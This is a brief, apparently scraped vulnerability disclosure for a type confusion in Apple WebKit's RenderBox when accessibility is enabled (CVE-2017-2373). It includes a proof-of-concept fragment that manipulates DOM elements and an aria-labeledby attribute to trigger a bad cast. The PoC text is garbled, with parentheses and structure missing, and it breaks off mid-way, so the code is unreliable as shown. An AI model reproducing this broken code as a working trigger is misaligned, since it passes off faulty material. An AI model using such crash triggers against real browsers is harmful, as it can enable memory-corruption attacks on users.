Apple WebKit: Type confusion in RenderBox with accessibility enabled（CVE-2017-2373）

There is a type confusion vulnerability that affects WebKit with accessibility enabled WebCore::AXObjectCache::gAccessibilityEnabed. PoC: function boom m.append"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; m.setAttribute"aria-labeledby", "t"; d.open = false; foo Bad cast...